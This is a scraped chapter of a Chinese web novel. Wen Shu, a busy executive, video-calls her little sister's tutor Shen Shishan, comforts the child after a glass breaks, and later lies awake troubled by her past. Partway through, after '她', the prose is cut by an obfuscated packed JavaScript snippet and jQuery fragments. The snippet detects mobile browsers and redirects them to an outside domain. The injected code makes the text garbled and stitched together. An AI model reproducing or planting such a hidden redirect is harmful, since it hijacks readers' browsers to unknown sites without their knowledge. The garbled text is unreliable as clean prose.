一直到周三,文舒那儿都是风平浪静。田豫、李深夏和刘特助盯她盯了许久都未发现什么异常。
田豫班上到一半,老打着汇报的名义到文舒办公室转悠,一天能转个四五趟。李深夏老说要复查,天天往她家跑。而刘特助更是有事没事就往办公室里看两眼,几乎要寸步不离她了。
这种事文舒也干过:文晗生病的时候她就这么盯着。
但是文晗才多大,她又多大了?
到了周三早上,田、刘二人碰上了,文舒叫住了两人想要好好谈一谈,视线往下一瞥,看到坐在对面的田豫正在给李深夏发消息,太阳穴烫上加烫了。
她开口提了自己的事,田豫看看身旁的刘特助又低头看看手机那端装死的李深夏,最终挤出个笑,小声道:“这不是怕我们的饭票有什么事吗?这年头像文总这样有良心的饭票实在是少数了。”
文舒手中的圆珠笔摁响了,四指握笔杆,拇指抵笔端,浅笑着看了她一眼。
田豫看着她,觉得她捏的不像是圆珠笔倒像是匕首了,脖颈子顿时凉飕飕的。
“再说一遍,我没事。”
文舒皮笑肉不笑,唬人的方式一套一套的,哪里还有一点抑郁的样子。三人组终于安了心,放了“饭票”安宁。
结果晚上回家,文舒还在门口换鞋,小晗便“噔噔噔”地小跑过来,举着手臂踮着脚尖要摸她。
文舒以为她要抱,才张开臂弯,小晗的掌心就覆上了她的额头,嘴里念叨着:“还是烫烫的。”
俯着身的文舒先是一怔,反应过来后面上绽开了些许笑意,欣慰大过无奈。
“李医生教你的?”
小晗摇头,用近似爆破音的声调回答:“沈老师!”
“她还教你这个?”文舒将她转了过去,双臂搭载她肩上,用怀抱推着她往客厅走。
“可以看生病!”小晗笑嘻嘻的,“烫的就是生病,不烫就没生病!”
“按照你这个摸法,全世界就没有一个人不生病了。”文舒揉了揉她的脸颊,坐到了沙发上。
小晗眼底浮现了一抹困惑,文舒带着她的掌心覆在了额头上,问:“烫吗?”
“烫。”小晗像是发现了什么不得了的事,猛的转过身,“小晗也生病了!”
文舒沉脸:“那就带你去医院打针了。”
文晗一下窝到了她怀里,死活不肯探头了。
就这样消停了没一会,小晗又从她怀里钻了出来,巴巴看着她。
“有话快说。”文舒捏她鼻子。
小晗可怜巴巴道:“要去打针吗?”
文舒被她逗笑了:“不去,你快去做作业。”
小晗肉眼可见地松了口气,旋即从文舒身上爬了下去,直奔楼下的儿童房。
一会的工夫,小晗抱着一副地图拼图上来了。
“做好啦!”
这显然不是小学三年级的老师布置的作业,文舒靠上沙发:“沈老师布置的?”
文晗点头如捣蒜:“要给沈老师检查。”
这两个月沈识善都不会再过来了,贸然告诉文晗这个消息等于打破她的新习惯,小孩说不定又要哇哇大哭了。文舒思忖了会,将她拉到身边:“我给沈老师打视频,你给她看。”
她今天开了三场会了,没精力再哄爆哭的小孩了,这种事让沈识善亲口告诉小晗听更好,到时候还能让沈识善这种专业人士隔着电话哄一哄。
于是,沈识善接到了快四天没回她消息的文舒的视频。
这真是件稀罕事,沈识善手忙脚乱地将摆满资料的书桌清理了下,这才点了接听。
明天最后一门考试是开卷,室友们提前聚餐庆祝,她从王姐那边兼职回来了,室友们也还没回寝室,她可以放心大胆地在寝室内接听。
屏幕里占满了中国地图,边角处有双小手。等待了片刻,文晗的脑袋尖冒了出来,沈识善听到了清脆的一声“沈老师”。
镜头扫过沈识善的书桌,文舒闻声远眺了眼,上面除了笔盒和水杯就没有任何摆件了,朴素整洁到像是入了伍。
文舒敛眸,装作什么都没有看到。
“小晗这么快就拼好啦!真厉害!”沈识善夸道。
这声夸赞激得小晗手舞足蹈,一不小心就给茶几上的水杯掀掉了。
只听“砰”的一声,屏幕边角处的背景板人影起来了。长久板着一副臭脸的文舒,动作匆忙,直奔事发地点。
屏幕里的小晗被这声巨响吓得紧咬嘴唇,眼睛很快包了包泪。文舒第一反应是检查水有没有烫到她,确认水已经凉了后,才俯身去拾碎片。
“小晗,小晗,看我。”沈识善配合起文舒吸引文晗的注意力,以免她扯着嗓子开始痛哭,“玻璃杯碎啦?”
小晗用力点头,挤在沙发和茶几间的文舒低垂着脑袋掠过屏幕,成了一台全手动清洁机。
“你站好不动,数一下姐姐捡了多少片。”沈识善尝试转移小孩歉疚和惊恐的情绪,语调温柔了不少。
“一片、两片、三片……”数着数着,小晗的眼泪就掉了下来。
沈识善叹气,轻唤文舒。
“文总?”
屏幕那端的文舒抬首。
“抱抱她吧,用上次我说的那个办法。”
眼见着细雨即将转暴雨,文舒上前一步,矮身抱住了小晗。
离得近了,沈识善只能看到小晗的面容和文舒的下巴。
白衬衣被小晗揪皱了,文舒感受到她的回抱,一点一点收紧臂弯。
小晗的情绪真的和沈识善说得一样,只低低啜泣了一会就平复了。
保住了自己耳膜的文舒下巴虚虚枕在小晗的肩膀上,探手摸了摸她的发旋,温声道:
“乖。”
她的下巴安抚似的摩挲着小晗肩头的衣料,语调是沈识善从未见识过的温柔。
虽然隔着屏幕,沈识善还是觉得自己的耳朵被短暂地烫了下。
她没有出声,文舒被小晗紧紧抱着,快要忘记视频还开着了。
等到小晗可以抱着拼图继续向沈识善汇报作业,文舒的视线这才离开了她。
阿姨要明早才来,客厅又是小晗活动的主要场地,周遭铺着大片的毯子,文舒必须今晚清理完。拾完大片的碎玻璃,用扫地机器人配着吸尘器清理了小片的,文舒最后又将毯子卷起来一并丢了这才放了心。
又过了片刻,她转身和小晗交谈了几句,催着小朋友离开了客厅。
画面陷入了长久的静谧。
作为受资助者与受雇者,沈识善担心文舒还有什么事情要交代,因而不敢贸然挂断视频。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917018|176996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就这样安静地等待着,看着文舒挽起长发,卷起衬衣衣袖,纤长的手臂垂下,耐心且细心地寻找地上地碎玻璃片。
这样的文舒和沈识善平日里见到的大不相同,恍惚间,沈识善仿佛又看到了六年前那个气质温和书卷气很浓重的她。
沈识善有些移不开眼了。
回神时她觉得这样的自己有些像是偷窥,因而强迫自己将注意力集中到手上的复习资料上。
这几天太忙太累了,不知过了多久,她的眼皮便发了重,视线也变得模糊了。
视频一直没挂断,文舒忙着忙着便忘记了,等到反应过来时,沈识善已经趴在书桌上睡着了。交叠的臂弯下压着密密麻麻的黑蓝相间的笔记,镜头传递过来的画面虽然模糊,但足以看清她眼底的黑青。
她应该是洗过澡了,穿着有些卷边的旧T,领口处还有洗到掉色的破损,散着的发软趴趴地落在肩头,削弱了那种凌厉的气质。
这学生太清苦了,由里到外透着一股苦行僧的气质,如同拄杖在雪夜里独行了许久那样,坚韧且执着。
可能就是凭着这股韧劲,她才能够走出青梧连片的松竹林和望山跑死马的山峦来到宜江这片土地上。
文舒敛眸,忽然有些后悔这么晚还打电话给她了。
她挂断了视频,横置小臂两侧摆动,舒缓了筋骨,这才上楼。
有了这么一遭,文舒晚上没用得着吃药就感受到了浓重的睡意,可当真的躺到了床上思维又变得分外活跃。
文舒讨厌这种不安稳的感觉。
脑海里的画面像是黑漆漆的屋子里闪过的旧影片,一幕一幕地展现着她曾经历过的事,亦或是想象着经历过的事。
这些日子里见过的人或事都跟走马灯一样放映,有沈识善的面试,有刘教授的电话,有田豫的打趣,有小晗的调皮……
前几日田豫猛拍她房门的场景尤为清晰,那些带着恼怒和恨铁不成钢意味的争辩犹在耳畔。
熬到快凌晨两点时,文舒的右眼皮开始狂跳。
她虽然不迷信,但是在叶庭澜回来这个节点有这种反应,她还是觉得很不爽。
文舒打开手机,想要刷点低质视频缓和一下紧绷的情绪,指尖却下意识划过了微信通讯簿。
沈识善的对话框横亘在了第一个,文舒点开,再次看到了她的询问。
“文总,您还好吗?”
文舒的鼻息蓦地发重。
她又想起来之前沈识善立在楼梯上,仰首泪目时说的话了。
“文总,你是不是有当我在卖惨表演求您什么了?”
“您就当是吧。”
“我确实想报答你,但是绝对没有故意演给你看的意思。那次实在是没有办法了。”
这几年田豫气急的时候不止一次数落她“越来越刚愎自用,越来越不敢静下心来直视真的自己了”,文舒从未当回事,也从来没有真的听进去。
但沈识善这事,她确实判断错了。
那么,关于叶庭澜的呢?关于她那些不堪回首的往事呢?
田豫总说她还没有真的放下,过去的事就像一根长刺那样扎在她心头,随着年岁的增长被愈合的伤口掩藏了。
文舒霎时感受到了胸闷。
她就这样乱糟糟地睡去了,早上醒来时眼睛还是肿着的。